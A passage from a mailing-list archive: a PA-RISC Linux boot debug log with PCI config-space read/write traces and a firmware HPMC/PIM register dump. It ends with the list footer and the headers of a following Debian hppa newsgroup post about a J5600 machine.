[    3.528000] mercury_cfg_read(1000+18) -> 0x0
[    3.528000] mercury_cfg_write(1000+18) <- 0xffffffff (c)
[    3.536000] mercury_cfg_read(1000+18) -> 0x0
[    3.536000] mercury_cfg_write(1000+18) <- 0x0 (c)
[    3.544000] mercury_cfg_write(1000+ 4) <- 0x146 (c)
[    3.544000] mercury_cfg_read(1000+ 4) -> 0x146
[    3.552000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    3.552000] mercury_cfg_read(1000+1c) -> 0x0
[    3.560000] mercury_cfg_write(1000+1c) <- 0xffffffff (c)
[    3.560000] mercury_cfg_read(1000+1c) -> 0x0
[    3.564000] mercury_cfg_write(1000+1c) <- 0x0 (c)
[    3.564000] mercury_cfg_write(1000+ 4) <- 0x146 (c)
[    3.572000] mercury_cfg_read(1000+ 4) -> 0x146
[    3.572000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    3.580000] mercury_cfg_read(1000+20) -> 0x0
[    3.580000] mercury_cfg_write(1000+20) <- 0xffffffff (c)
[    3.588000] mercury_cfg_read(1000+20) -> 0x0
[    3.588000] mercury_cfg_write(1000+20) <- 0x0 (c)
[    3.588000] mercury_cfg_write(1000+ 4) <- 0x146 (c)
[    3.596000] mercury_cfg_read(1000+ 4) -> 0x146
[    3.596000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    3.600000] mercury_cfg_read(1000+24) -> 0x0
[    3.600000] mercury_cfg_write(1000+24) <- 0xffffffff (c)
[    3.608000] mercury_cfg_read(1000+24) -> 0x0
[    3.608000] mercury_cfg_write(1000+24) <- 0x0 (c)
[    3.616000] mercury_cfg_write(1000+ 4) <- 0x146 (c)
[    3.616000] mercury_cfg_read(1000+ 4) -> 0x146
[    3.624000] mercury_cfg_write(1000+ 4) <- 0x144 (c)
[    3.624000] mercury_cfg_read(1000+30) -> 0x0
[    3.628000] mercury_cfg_write(1000+30) <- 0xfffff800 (c)
[    3.632000] mercury_cfg_read(1000+30) -> 0x0
[    3.636000] mercury_cfg_write(1000+30) <- 0x0 (c)
[    3.636000] mercury_cfg_write(1000+ 4) <- 0x146 (c)
[    3.644000] mercury_cfg_read(1000+2c) -> 0x103c
[    3.644000] mercury_cfg_read(1000+2e) -> 0x12a4
[    3.652000] mercury_cfg_read(1000+ 6) -> 0x2b0
[    3.652000] mercury_cfg_read(1000+34) -> 0x40
[    3.652000] mercury_cfg_read(1000+40) -> 0x7
[    3.660000] mercury_cfg_read(1000+41) -> 0x48
[    3.660000] mercury_cfg_read(1000+48) -> 0x1
[    3.664000] mercury_cfg_read(1000+49) -> 0x50
[    3.664000] mercury_cfg_read(1000+50) -> 0x3
[    3.672000] mercury_cfg_read(1000+51) -> 0x58
[    3.672000] mercury_cfg_read(1000+58) -> 0x5
[    3.680000] mercury_cfg_read(1000+59) -> 0x0
[    3.680000] mercury_cfg_read(1000+ 6) -> 0x2b0
[    3.680000] mercury_cfg_read(1000+34) -> 0x40
[    3.688000] mercury_cfg_read(1000+40) -> 0x7
[    3.688000] mercury_cfg_read(1000+ 6) -> 0x2b0
[    3.696000] mercury_cfg_read(1000+34) -> 0x40
[    3.696000] mercury_cfg_read(1000+40) -> 0x7
[    3.700000] mercury_cfg_read(1000+41) -> 0x48
[    3.700000] mercury_cfg_read(1000+48) -> 0x1
[    3.700000] mercury_cfg_read(1000+4a) -> 0xc002
[    3.708000] mercury_cfg_read(1000+4c) -> 0x2100
[    3.708000] mercury_cfg_write(1000+4c) <- 0xa000 (c)
[    3.716000] mercury_cfg_read(1000+ 6) -> 0x2b0
[    3.716000] mercury_cfg_read(1000+34) -> 0x40
[    3.724000] mercury_cfg_read(1000+40) -> 0x7
[    3.724000] mercury_cfg_read(1000+41) -> 0x48
[    3.732000] mercury_cfg_read(1000+48) -> 0x1
[    3.732000] mercury_cfg_read(1000+49) -> 0x50
[    3.736000] mercury_cfg_read(1000+50) -> 0x3
[    3.736000] mercury_cfg_read(1800+ 0) -> 0xffffffff
[    3.736000] mercury_cfg_read(2000+ 0) -> 0xffffffff
[    3.744000] mercury_cfg_read(2800+ 0) -> 0xffffffff
[    3.744000] mercury_cfg_read(3000+ 0) -> 0xffffffff
[    3.752000] mercury_cfg_read(3800+ 0) -> 0xffffffff
[    3.752000] mercury_cfg_read(4000+ 0) -> 0xffffffff
[    3.760000] mercury_cfg_read(4800+ 0) -> 0xffffffff
[    3.760000] mercury_cfg_read(5000+ 0) -> 0xffffffff
[    3.768000] mercury_cfg_read(5800+ 0) -> 0xffffffff
[    3.768000] mercury_cfg_read(6000+ 0) -> 0xffffffff
[    3.772000] mercury_cfg_read(6800+ 0) -> 0xffffffff
[    3.772000] mercury_cfg_read(7000+ 0) -> 0xffffffff
[    3.780000] mercury_cfg_read(7800+ 0) -> 0xffffffff
[    3.780000] mercury_cfg_read(8000+ 0) -> 0xffffffff
[    3.788000] mercury_cfg_read(8800+ 0) -> 0xffffffff
[    3.788000] mercury_cfg_read(9000+ 0) -> 0xffffffff
[    3.796000] mercury_cfg_read(9800+ 0) -> 0xffffffff
[    3.796000] mercury_cfg_read(a000+ 0) -> 0xffffffff
[    3.804000] mercury_cfg_read(a800+ 0) -> 0xffffffff
[    3.804000] mercury_cfg_read(b000+ 0) -> 0xffffffff
[    3.808000] mercury_cfg_read(b800+ 0) -> 0xffffffff
[    3.808000] mercury_cfg_read(c000+ 0) -> 0xffffffff
[    3.816000] mercury_cfg_read(c800+ 0) -> 0xffffffff
[    3.816000] mercury_cfg_read(d000+ 0) -> 0xffffffff
[    3.824000] mercury_cfg_read(d800+ 0) -> 0xffffffff
[    3.824000] mercury_cfg_read(e000+ 0) -> 0xffffffff
[    3.832000] mercury_cfg_read(e800+ 0) -> 0xffffffff
[    3.832000] mercury_cfg_read(f000+ 0) -> 0xffffffff
[    3.840000] mercury_cfg_read(f800+ 0) -> 0xffffffff
[    3.840000] lba_fixup_bus(0x000000007f0cb400) bus 32 platform_data 0x000000007f128000
[    3.844000] lba_fixup_bus() PCI20 Ports [10000/1ffff]/100
[    3.852000] lba_fixup_bus() PCI20 LMMIO [ffffffff90000000/ffffffff9fffffff]/200
[    3.852000] lba_fixup_bus() 0000:20:01.0
[    3.860000] lba_fixup_bus() I/O Ports [2100/21ff] -> [12100/121ff]
[    3.860000] lba_fixup_bus() MMIO [90015000/900153ff] -> [ffffffff90015000/ffffffff900153ff]
[    3.868000] lba_fixup_bus() MMIO [90012000/90013fff] -> [ffffffff90012000/ffffffff90013fff]
[    3.876000] mercury_cfg_read(800+3d) -> 0x1
[    3.880000] lba_fixup_bus() 0000:20:01.1
[    3.880000] lba_fixup_bus() I/O Ports [2000/20ff] -> [12000/120ff]
[    3.888000] lba_fixup_bus() MMIO [90014000/900143ff] -> [ffffffff90014000/ffffffff900143ff]
[    3.888000] lba_fixup_bus() MMIO [90010000/90011fff] -> [ffffffff90010000/ffffffff90011fff]
[    3.896000] mercury_cfg_read(900+3d) -> 0x2
[    3.904000] lba_fixup_bus() 0000:20:02.0
[    3.904000] lba_fixup_bus() MMIO [90000000/9000ffff] -> [ffffffff90000000/ffffffff9000ffff]
[    3.912000] mercury_cfg_read(1000+3d) -> 0x1
[    3.912000] LBA pci_bus_size_bridges()
[    3.916000] LBA pci_bus_assign_resources()
[    3.916000] 
[    3.916000] LBA PIOP resource tree
[    3.924000] 
[    3.924000] LBA LMMIO resource tree
[    3.948000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    4.004000] mercury_cfg_read(0+ 0) -> 0xffffffff
[    4.004000] mercury_cfg_read(800+ 0) -> 0xffffffff
[    4.004000] mercury_cfg_read(1000+ 0) -> 0xffffffff
[    4.004000] mercury_cfg_read(1800+ 0) -> 0xffffffff
[    4.004000] mercury_cfg_read(2000+ 0) -> 0xffffffff
[    4.012000] mercury_cfg_read(2800+ 0) -> 0xffffffff
[    4.012000] mercury_cfg_read(3000+ 0) -> 0xffffffff
[    4.016000] mercury_cfg_read(3800+ 0) -> 0xffffffff
[    4.020000] mercury_cfg_read(4000+ 0) -> 0xffffffff
[    4.024000] mercury_cfg_read(4800+ 0) -> 0xffffffff
[    4.024000] mercury_cfg_read(5000+ 0) -> 0xffffffff
[    4.032000] mercury_cfg_read(5800+ 0) -> 0xffffffff
[    4.032000] mercury_cfg_read(6000+ 0) -> 0xffffffff
[    4.040000] mercury_cfg_read(6800+ 0) -> 0xffffffff
[    4.040000] mercury_cfg_read(7000+ 0) -> 0xffffffff
[    4.048000] mercury_cfg_read(7800+ 0) -> 0xffffffff
[    4.048000] mercury_cfg_read(8000+ 0) -> 0xffffffff
[    4.052000] mercury_cfg_read(8800+ 0) -> 0xffffffff
[    4.052000] mercury_cfg_read(9000+ 0) -> 0xffffffff
[    4.060000] mercury_cfg_read(9800+ 0) -> 0xffffffff
[    4.060000] mercury_cfg_read(a000+ 0) -> 0xffffffff
[    4.068000] mercury_cfg_read(a800+ 0) -> 0xffffffff
[    4.068000] mercury_cfg_read(b000+ 0) -> 0xffffffff
[    4.076000] mercury_cfg_read(b800+ 0) -> 0xffffffff
[    4.076000] mercury_cfg_read(c000+ 0) -> 0xffffffff
[    4.084000] mercury_cfg_read(c800+ 0) -> 0xffffffff
[    4.084000] mercury_cfg_read(d000+ 0) -> 0xffffffff
[    4.088000] mercury_cfg_read(d800+ 0) -> 0xffffffff
[    4.088000] mercury_cfg_read(e000+ 0) -> 0xffffffff
[    4.096000] mercury_cfg_read(e800+ 0) -> 0xffffffff
[    4.096000] mercury_cfg_read(f000+ 0) -> 0xffffffff
[    4.104000] mercury_cfg_read(f800+ 0) -> 0xffffffff
[    4.104000] lba_fixup_bus(0x000000007f0cbc00) bus 64 platform_data 0x000000007f128400
[    4.112000] lba_fixup_bus() PCI40 Ports [20000/2ffff]/100
[    4.120000] lba_fixup_bus() PCI40 LMMIO [ffffffffa0000000/ffffffffafffffff]/200
[    4.120000] LBA pci_bus_size_bridges()
[    4.124000] LBA pci_bus_assign_resources()
[    4.124000] 
[    4.124000] LBA PIOP resource tree
[    4.132000] 
[    4.132000] LBA LMMIO resource tree
[    4.156000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    4.212000] mercury_cfg_read(0+ 0) -> 0xffffffff
[    4.212000] mercury_cfg_read(800+ 0) -> 0xffffffff
[    4.212000] mercury_cfg_read(1000+ 0) -> 0xffffffff
[    4.212000] mercury_cfg_read(1800+ 0) -> 0xffffffff
[    4.212000] mercury_cfg_read(2000+ 0) -> 0xffffffff
[    4.220000] mercury_cfg_read(2800+ 0) -> 0xffffffff
[    4.220000] mercury_cfg_read(3000+ 0) -> 0xffffffff
[    4.224000] mercury_cfg_read(3800+ 0) -> 0xffffffff
[    4.224000] mercury_cfg_read(4000+ 0) -> 0xffffffff
[    4.236000] mercury_cfg_read(4800+ 0) -> 0xffffffff
[    4.236000] mercury_cfg_read(5000+ 0) -> 0xffffffff
[    4.248000] mercury_cfg_read(5800+ 0) -> 0xffffffff
[    4.248000] mercury_cfg_read(6000+ 0) -> 0xffffffff
[    4.260000] mercury_cfg_read(6800+ 0) -> 0xffffffff
[    4.260000] mercury_cfg_read(7000+ 0) -> 0xffffffff
[    4.268000] mercury_cfg_read(7800+ 0) -> 0xffffffff
[    4.268000] mercury_cfg_read(8000+ 0) -> 0xffffffff
[    4.276000] mercury_cfg_read(8800+ 0) -> 0xffffffff
[    4.276000] mercury_cfg_read(9000+ 0) -> 0xffffffff
[    4.284000] mercury_cfg_read(9800+ 0) -> 0xffffffff
[    4.288000] mercury_cfg_read(a000+ 0) -> 0xffffffff
[    4.292000] mercury_cfg_read(a800+ 0) -> 0xffffffff
[    4.292000] mercury_cfg_read(b000+ 0) -> 0xffffffff
[    4.300000] mercury_cfg_read(b800+ 0) -> 0xffffffff
[    4.300000] mercury_cfg_read(c000+ 0) -> 0xffffffff
[    4.308000] mercury_cfg_read(c800+ 0) -> 0xffffffff
[    4.308000] mercury_cfg_read(d000+ 0) -> 0xffffffff
[    4.316000] mercury_cfg_read(d800+ 0) -> 0xffffffff
[    4.316000] mercury_cfg_read(e000+ 0) -> 0xffffffff
[    4.324000] mercury_cfg_read(e800+ 0) -> 0xffffffff
[    4.324000] mercury_cfg_read(f000+ 0) -> 0xffffffff
[    4.328000] mercury_cfg_read(f800+ 0) -> 0xffffffff
[    4.328000] lba_fixup_bus(0x000000007f0cc400) bus 96 platform_data 0x000000007f128800
[    4.336000] lba_fixup_bus() PCI60 Ports [30000/3ffff]/100
[    4.344000] lba_fixup_bus() PCI60 LMMIO [ffffffffb0000000/ffffffffbfffffff]/200
[    4.344000] LBA pci_bus_size_bridges()
[    4.352000] LBA pci_bus_assign_resources()
[    4.352000] 
[    4.352000] LBA PIOP resource tree
[    4.360000] 
[    4.360000] LBA LMMIO resource tree
[    4.380000] Mercury version TR3.2 (0x32) found at 0xfffffffffed28000
[    4.436000] mercury_cfg_read(0+ 0) -> 0xffffffff
[    4.436000] mercury_cfg_read(800+ 0) -> 0xffffffff
[    4.436000] mercury_cfg_read(1000+ 0) -> 0xffffffff
[    4.436000] mercury_cfg_read(1800+ 0) -> 0xffffffff
[    4.440000] mercury_cfg_read(2000+ 0) -> 0xffffffff
[    4.444000] mercury_cfg_read(2800+ 0) -> 0xffffffff
[    4.444000] mercury_cfg_read(3000+ 0) -> 0xffffffff
[    4.452000] mercury_cfg_read(3800+ 0) -> 0xffffffff
[    4.452000] mercury_cfg_read(4000+ 0) -> 0xffffffff
[    4.460000] mercury_cfg_read(4800+ 0) -> 0xffffffff
[    4.460000] mercury_cfg_read(5000+ 0) -> 0xffffffff
[    4.468000] mercury_cfg_read(5800+ 0) -> 0xffffffff
[    4.468000] mercury_cfg_read(6000+ 0) -> 0xffffffff
[    4.476000] mercury_cfg_read(6800+ 0) -> 0xffffffff
[    4.476000] mercury_cfg_read(7000+ 0) -> 0xffffffff
[    4.480000] mercury_cfg_read(7800+ 0) -> 0xffffffff
[    4.480000] mercury_cfg_read(8000+ 0) -> 0xffffffff
[    4.488000] mercury_cfg_read(8800+ 0) -> 0xffffffff
[    4.488000] mercury_cfg_read(9000+ 0) -> 0xffffffff
[    4.496000] mercury_cfg_read(9800+ 0) -> 0xffffffff
[    4.496000] mercury_cfg_read(a000+ 0) -> 0xffffffff
[    4.504000] mercury_cfg_read(a800+ 0) -> 0xffffffff
[    4.504000] mercury_cfg_read(b000+ 0) -> 0xffffffff
[    4.512000] mercury_cfg_read(b800+ 0) -> 0xffffffff
[    4.512000] mercury_cfg_read(c000+ 0) -> 0xffffffff
[    4.516000] mercury_cfg_read(c800+ 0) -> 0xffffffff
[    4.516000] mercury_cfg_read(d000+ 0) -> 0xffffffff
[    4.524000] mercury_cfg_read(d800+ 0) -> 0xffffffff
[    4.524000] mercury_cfg_read(e000+ 0) -> 0xffffffff
[    4.532000] mercury_cfg_read(e800+ 0) -> 0xffffffff
[    4.532000] mercury_cfg_read(f000+ 0) -> 0xffffffff
[    4.540000] mercury_cfg_read(f800+ 0) -> 0xffffffff
[    4.540000] lba_fixup_bus(0x000000007f0ccc00) bus 128 platform_data 0x000000007f128c00
[    4.548000] lba_fixup_bus() PCI80 Ports [40000/4ffff]/100
[    4.552000] lba_fixup_bus() PCI80 LMMIO [ffffffffc0000000/ffffffffcfffffff]/200
[    4.552000] LBA pci_bus_size_bridges()
[    4.560000] LBA pci_bus_assign_resources()
[    4.560000] 
[    4.560000] LBA PIOP resource tree
[    4.568000] 
[    4.568000] LBA LMMIO resource tree
[    4.588000] Mercury version TR3.2 (0x32) found at 0xfffffffffed2c000
[    4.644000] mercury_cfg_read(0+ 0) -> 0xffffffff
[    4.648000] mercury_cfg_read(800+ 0) -> 0xffffffff
[    4.648000] mercury_cfg_read(1000+ 0) -> 0xffffffff
[    4.648000] mercury_cfg_read(1800+ 0) -> 0xffffffff
[    4.648000] mercury_cfg_read(2000+ 0) -> 0xffffffff
[    4.652000] mercury_cfg_read(2800+ 0) -> 0xffffffff
[    4.652000] mercury_cfg_read(3000+ 0) -> 0xffffffff
[    4.660000] mercury_cfg_read(3800+ 0) -> 0xffffffff
[    4.660000] mercury_cfg_read(4000+ 0) -> 0xffffffff
[    4.668000] mercury_cfg_read(4800+ 0) -> 0xffffffff
[    4.668000] mercury_cfg_read(5000+ 0) -> 0xffffffff
[    4.676000] mercury_cfg_read(5800+ 0) -> 0xffffffff
[    4.676000] mercury_cfg_read(6000+ 0) -> 0xffffffff
[    4.684000] mercury_cfg_read(6800+ 0) -> 0xffffffff
[    4.684000] mercury_cfg_read(7000+ 0) -> 0xffffffff
[    4.688000] mercury_cfg_read(7800+ 0) -> 0xffffffff
[    4.688000] mercury_cfg_read(8000+ 0) -> 0xffffffff
[    4.696000] mercury_cfg_read(8800+ 0) -> 0xffffffff
[    4.696000] mercury_cfg_read(9000+ 0) -> 0xffffffff
[    4.704000] mercury_cfg_read(9800+ 0) -> 0xffffffff
[    4.704000] mercury_cfg_read(a000+ 0) -> 0xffffffff
[    4.712000] mercury_cfg_read(a800+ 0) -> 0xffffffff
[    4.712000] mercury_cfg_read(b000+ 0) -> 0xffffffff
[    4.720000] mercury_cfg_read(b800+ 0) -> 0xffffffff
[    4.720000] mercury_cfg_read(c000+ 0) -> 0xffffffff
[    4.724000] mercury_cfg_read(c800+ 0) -> 0xffffffff
[    4.724000] mercury_cfg_read(d000+ 0) -> 0xffffffff
[    4.732000] mercury_cfg_read(d800+ 0) -> 0xffffffff
[    4.732000] mercury_cfg_read(e000+ 0) -> 0xffffffff
[    4.740000] mercury_cfg_read(e800+ 0) -> 0xffffffff
[    4.740000] mercury_cfg_read(f000+ 0) -> 0xffffffff
[    4.748000] mercury_cfg_read(f800+ 0) -> 0xffffffff
[    4.748000] lba_fixup_bus(0x000000007f0cd400) bus 192 platform_data 0x000000007f129000
[    4.756000] lba_fixup_bus() PCIc0 Ports [50000/5ffff]/100
[    4.760000] lba_fixup_bus() PCIc0 LMMIO [ffffffffe0000000/ffffffffefffffff]/200
[    4.760000] LBA pci_bus_size_bridges()
[    4.768000] LBA pci_bus_assign_resources()
[    4.768000] 
[    4.768000] LBA PIOP resource tree
[    4.776000] 
[    4.776000] LBA LMMIO resource tree
[    4.800000] Mercury version TR3.2 (0x32) found at 0xfffffffffed2e000
[    4.852000] mercury_cfg_read(0+ 0) -> 0xffffffff
[    4.852000] mercury_cfg_read(800+ 0) -> 0x1290103c
[    4.856000] mercury_cfg_read(800+ e) -> 0x80
[    4.856000] mercury_cfg_read(800+ 6) -> 0x290
[    4.856000] mercury_cfg_read(800+34) -> 0x48
[    4.860000] mercury_cfg_read(800+48) -> 0x1
[    4.860000] mercury_cfg_read(800+49) -> 0x0
[    4.868000] mercury_cfg_read(800+ 8) -> 0x7800001
[    4.868000] mercury_cfg_read(800+ 6) -> 0x290
[    4.876000] mercury_cfg_read(800+34) -> 0x48
[    4.876000] mercury_cfg_read(800+48) -> 0x1
[    4.876000] mercury_cfg_read(800+49) -> 0x0
[    4.884000] mercury_cfg_read(800+3d) -> 0x1
[    4.884000] mercury_cfg_read(800+3c) -> 0x0
[    4.892000] mercury_cfg_read(800+ 4) -> 0x146
[    4.892000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    4.896000] mercury_cfg_read(800+10) -> 0x0
[    4.896000] mercury_cfg_write(800+10) <- 0xffffffff (c)
[    4.904000] mercury_cfg_read(800+10) -> 0x0
[    4.904000] mercury_cfg_write(800+10) <- 0x0 (c)
[    4.904000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    4.912000] mercury_cfg_read(800+ 4) -> 0x146
[    4.912000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    4.920000] mercury_cfg_read(800+14) -> 0x0
[    4.920000] mercury_cfg_write(800+14) <- 0xffffffff (c)
[    4.928000] mercury_cfg_read(800+14) -> 0x0
[    4.928000] mercury_cfg_write(800+14) <- 0x0 (c)
[    4.932000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    4.932000] mercury_cfg_read(800+ 4) -> 0x146
[    4.940000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    4.940000] mercury_cfg_read(800+18) -> 0xf4051000
[    4.948000] mercury_cfg_write(800+18) <- 0xffffffff (c)
[    4.948000] mercury_cfg_read(800+18) -> 0xfffffff0
[    4.956000] mercury_cfg_write(800+18) <- 0xf4051000 (c)
[    4.956000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    4.964000] mercury_cfg_read(800+ 4) -> 0x146
[    4.964000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    4.968000] mercury_cfg_read(800+1c) -> 0x0
[    4.972000] mercury_cfg_write(800+1c) <- 0xffffffff (c)
[    4.976000] mercury_cfg_read(800+1c) -> 0x0
[    4.976000] mercury_cfg_write(800+1c) <- 0x0 (c)
[    4.976000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    4.984000] mercury_cfg_read(800+ 4) -> 0x146
[    4.984000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    4.992000] mercury_cfg_read(800+20) -> 0x0
[    4.992000] mercury_cfg_write(800+20) <- 0xffffffff (c)
[    5.000000] mercury_cfg_read(800+20) -> 0x0
[    5.000000] mercury_cfg_write(800+20) <- 0x0 (c)
[    5.004000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    5.008000] mercury_cfg_read(800+ 4) -> 0x146
[    5.012000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    5.012000] mercury_cfg_read(800+24) -> 0x0
[    5.020000] mercury_cfg_write(800+24) <- 0xffffffff (c)
[    5.020000] mercury_cfg_read(800+24) -> 0x0
[    5.020000] mercury_cfg_write(800+24) <- 0x0 (c)
[    5.028000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    5.028000] mercury_cfg_read(800+ 4) -> 0x146
[    5.036000] mercury_cfg_write(800+ 4) <- 0x144 (c)
[    5.036000] mercury_cfg_read(800+30) -> 0x0
[    5.040000] mercury_cfg_write(800+30) <- 0xfffff800 (c)
[    5.040000] mercury_cfg_read(800+30) -> 0x0
[    5.052000] mercury_cfg_write(800+30) <- 0x0 (c)
[    5.052000] mercury_cfg_write(800+ 4) <- 0x146 (c)
[    5.060000] mercury_cfg_read(800+2c) -> 0x103c
[    5.060000] mercury_cfg_read(800+2e) -> 0x1291
[    5.072000] mercury_cfg_read(800+ 6) -> 0x290
[    5.072000] mercury_cfg_read(800+34) -> 0x48
[    5.072000] mercury_cfg_read(800+48) -> 0x1
[    5.080000] mercury_cfg_read(800+49) -> 0x0
[    5.080000] mercury_cfg_read(800+ 6) -> 0x290
[    5.088000] mercury_cfg_read(800+34) -> 0x48
[    5.088000] mercury_cfg_read(800+48) -> 0x1
[    5.092000] mercury_cfg_read(800+49) -> 0x0
[    5.092000] mercury_cfg_read(800+ 6) -> 0x290
[    5.100000] mercury_cfg_read(800+34) -> 0x48
[    5.100000] mercury_cfg_read(800+48) -> 0x1
[    5.100000] mercury_cfg_read(800+4a) -> 0x2
[    5.108000] mercury_cfg_read(800+ 6) -> 0x290
[    5.108000] mercury_cfg_read(800+34) -> 0x48
[    5.116000] mercury_cfg_read(800+48) -> 0x1
[    5.116000] mercury_cfg_read(800+49) -> 0x0
[    5.124000] mercury_cfg_read(900+ 0) -> 0x1048103c
[    5.124000] mercury_cfg_read(900+ e) -> 0x80
[    5.124000] mercury_cfg_read(900+ 6) -> 0x290
[    5.128000] mercury_cfg_read(900+34) -> 0x48
[    5.128000] mercury_cfg_read(900+48) -> 0x1
[    5.136000] mercury_cfg_read(900+49) -> 0x0
[    5.136000] mercury_cfg_read(900+ 8) -> 0x7000203
[    5.144000] mercury_cfg_read(900+ 6) -> 0x290
[    5.144000] mercury_cfg_read(900+34) -> 0x48
[    5.152000] mercury_cfg_read(900+48) -> 0x1
[    5.152000] mercury_cfg_read(900+49) -> 0x0
[    5.152000] mercury_cfg_read(900+3d) -> 0x1
[    5.160000] mercury_cfg_read(900+3c) -> 0x0
[    5.160000] mercury_cfg_read(900+ 4) -> 0x142
[    5.164000] mercury_cfg_write(900+ 4) <- 0x140 (c)



Firmware Version  46.34

Duplex Console IO Dependent Code (IODC) revision 1

PROCESSOR PIM INFORMATION

Original Product Number:  A7136A
Current Product Number:   A7136A


-----------------  Processor 0 HPMC Information - PDC Version: 46.34  ------ 

Timestamp =   Sun Oct  31 19:28:34 GMT 2010    (20:10:10:31:19:28:34)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x000000000000c46c
       0x57000f7300e00000 0x8040004000000000
       0xf600105e00e00000 0xfffffff0f0c00000
       0x140003b200e00000 0x000000000000000b
       0x5600100b00e00000 0x0000000000000194
       0x5600106400e00000 0xfffffff0f0435110


General Registers 0 - 31
00-03  0000000000000000  000000000000cde0  000000000000c2b0  00000000005f2140
04-07  fffffffff4050000  0000000000000000  00000000005f21c0  0000000000000000
08-11  0000000000000037  0000000000000060  00000000005f2140  0000000000000000
12-15  00000000005f21c0  0000000000000037  00000000005f3508  00000000405781e0
16-19  0000000000000000  00000000406d5270  00000000406d5270  fffffffff4050005
20-23  00000000005f21c0  0000000000000003  0000000000000190  0000000000000037
24-27  00000000005f21c0  00000000005f2140  fffffffff4050000  000000000000d010
28-31  00000000406c4270  00000000005f3608  00000000005f36e8  0000000000000020

Control Registers 0 - 31
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  00000000000000c0  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000103000  ff80000000000000
16-19  0000001e8b013030  0000000000000000  000000000000c46c  000000000e601027
20-23  00000000ae07ffd0  c000000014050005  0000000008000008  8000000000000000
24-27  00000000005d7000  00000000005d7000  eff1ffddadbe93c7  0000000040000b80
28-31  0000000040000b80  eff1ffddadbe93c7  000000007f058000  eff1ffddadbe93c7

Space Registers 0 - 7
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000


IIA Space (back entry)       = 0x0000000000000000
IIA Offset (back entry)      = 0x000000000000c470
Check Type                   = 0x20000000
Cpu State                    = 0x9e000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

Floating Point Registers 0 - 31
00-03  0014081f0000001f  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15  0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19  0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23  0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27  0000000000000000  00000000001b6000  000000007f0803d8  00000000405c97a0
28-31  0000000000000802  0000000000000000  0000000000000000  0000000000000000

PIM Revision                 = 0x0000000000000001                
CPU ID                       = 0x0000000000000014
CPU Revision                 = 0x0000000000000031
Cpu Serial Number            = 0x46100b89e43f0503
Check Summary                = 0x8040004000000000
SAL Timestamp                = 0x000000004ccdc362
System Firmware Rev.         = 0x00000ba20000121a
PDC Relocation Address       = 0xfffffff0f0c00000
Available Memory             = 0x000000027fe00000
CPU Diagnose Register 2      = 0x3112002000002008
MIB_STAT                     = 0x0040000000200000
MIB_LOG1                     = 0x0000000000555500
MIB_LOG2                     = 0x0000800000000000
MIB_ECC_DATA                 = 0x808800007fffbfd8
ICache Info                  = 0x0000000000000000
DCache Info                  = 0x0000000000000000
Sharedcache Info1            = 0x0000000000000000
Sharedcache Info2            = 0x0000000000000040
MIB_RSLOG1                   = 0x0000000000000004
MIB_RSLOG2                   = 0x0000010000000000
MIB_RQLOG                    = 0x040c1405fffe1510
MIB_REQLOGa                  = 0x8000000000000200
MIB_REQLOGb                  = 0x01000aa400000000
Reserved                     = 0x0000000000000000
Cache Repair Detail          = 0x0000000000000000

PIM Detail Text:



--gKMricLos+KVdGMg--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@debian.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc,gmane.linux.debian.devel.boot
Subject: J5600 for developers/testers
Date: Mon, 1 Nov 2010 09:12:58 -0600
Lines: 6
Approved: news@gmane.org
Message-ID: <20101101151257.GA3948@dannf.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1288624415 9845 80.91.229.12 (1 Nov 2010 15:13:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 1 Nov 2010 15:13:35 +0000 (UTC)
Cc: debian-boot@lists.debian.org
To: debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Nov 01 16:13:31 2010
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1PCw4f-000231-Of
	for debian-hppa@m.gmane.org; Mon, 01 Nov 2010 16:13:29 +0100
